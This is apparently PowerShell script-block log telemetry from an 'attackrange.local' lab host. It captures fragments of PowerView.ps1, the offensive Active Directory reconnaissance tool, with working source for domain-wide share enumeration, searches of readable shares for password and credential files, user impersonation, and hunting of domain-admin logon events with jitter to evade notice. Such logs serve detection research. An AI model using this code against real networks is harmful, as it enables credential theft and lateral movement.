.PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply t421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666704Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3641sed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainShare Find all domain shares in the current domain. .EXAMPLE Find-DomainShare -CheckShareAccess Find all domain shares in the current domain that the current user has read access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches for domain shares in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.ShareInfo #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ShareInfo')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [Alias('Domain')] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Alias('CheckAccess')] [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainShare] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainShare] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $CheckShareAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and check what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name # $Remark = $Share.Remark $Path = '\\'+$TargetComputer+'\'+$ShareName if (($ShareName) -and ($ShareName.trim() -ne '')) { # see if we want to check access to this share if ($CheckShareAccess) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $Share } catch { Write-Verbose "Error accessing share path $Path : $_" } } else { $Share } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken } } else { Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'CheckShareAccess' = $CheckShareAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-InterestingDomainShareFile { <# .SYNOPSIS Searches for files matching specific criteria on readable shares in the domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. It will then use Find-InterestingFile on each readhable share, searching for files marching specific criteria. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER SharePath Specifies one or more specific share paths to search, in the form \\COMPUTER\Share .PARAMETER ExcludedShares Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-InterestingDomainShareFile Finds 'interesting' files on the current domain. .EXAMPLE Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') Finds 'interesting' files on readable shares on the specified systems. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches interesting files in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [ValidateNotNullOrEmpty()] [ValidatePattern('\\\\')] [Alias('Share')] [String[]] $SharePath, [String[]] $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the dom421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666703Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3541 } } # if the session user is in the target list, display some output elseif ($TargetUsers -Contains $Process.User) { $Process } } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'ProcessName' = $TargetProcessName 'TargetUsers' = $TargetUsers 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainUserEvent { <# .SYNOPSIS Finds logon events on the current (or remote domain) for the specified users. Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION Enumerates all domain controllers from the specified -Domain (default of the local domain) using Get-DomainController, enumerates the logon events for each using Get-DomainUserEvent, and filters the results based on the targeting criteria. .PARAMETER ComputerName Specifies an explicit computer name to retrieve events from. .PARAMETER Domain Specifies a domain to query for domain controllers to enumerate. Defaults to the current domain. .PARAMETER Filter A hashtable of PowerView.LogonEvent properties to filter for. The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', and is 'or' by default, meaning at least one clause matches instead of all. See the exaples for usage. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events (per host) to retrieve. Default of 5000. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer(s). .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserEvent Search for any user events matching domain admins on every DC in the current domain. .EXAMPLE $cred = Get-Credential dev\administrator Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' domain controller using the alternate credential .EXAMPLE 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} Find user events on the primary.testlab.local system where the event matches the IPAddress '192.168.52.200' or '192.168.52.201'. .EXAMPLE $cred = Get-Credential testlab\administrator Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} Find user events mathing the specified GUID AND the specified TargetLogonId, searching through every domain controller in the current domain, enumerating each DC in serial instead of in a threaded manner, using the alternate credential. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogon .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogon')] [CmdletBinding(DefaultParameterSetName = 'Domain')] Param( [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(ParameterSetName = 'Domain')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Hashtable] $Filter, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname } elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { # otherwise we're querying a specific group $GroupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } Write-Verbose "UserGroupIdentity: $UserGroupIdentity" if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { # if not -ComputerName is passed, query the current (or target) domain for domain controllers $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { $TargetComputers = @(,$TargetComputers) } Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserEvent] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $DomainUserEventArgs = @{ 'ComputerName' = $TargetComputer } if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } if ($Filter -or $TargetUsers) { if ($TargetUsers) { Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} } else { $Operator = 'or' $Filter.Keys | ForEach-Object { if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { $Operator = 'and' } } } $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { if ($Operator -eq 'or') { ForEach ($Key in $Keys) { if ($_."$Key" -match $Filter[$Key]) { $_ } } } else { # and all clauses ForEach ($Key in $Keys) { if ($_."$Key" -notmatch $Filter[$Key]) { break } $_ } } } } } else { Get-DomainUserEvent @DomainUserEventArgs } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'StartTime' = $StartTime 'EndTime' = $EndTime 'MaxEvents' = $MaxEvents 'TargetUsers' = $TargetUsers 'Filter' = $Filter 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainShare { <# .SYNOPSIS Searches for computer shares on the domain. If -CheckShareAccess is passed, then only shares the current user has read access to are returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. If -CheckShareAccess is passed, then [IO.Directory]::GetFiles() is used to check if the current user has read access to the given share. If -Credential is pas421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666702Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local3441 $UserDomain = $User.LogonDomain # make sure wet have a result if (($UserName) -and ($UserName.trim() -ne '')) { if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) { $IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress $UserLocation = New-Object PSObject $UserLocation | Add-Member Noteproperty 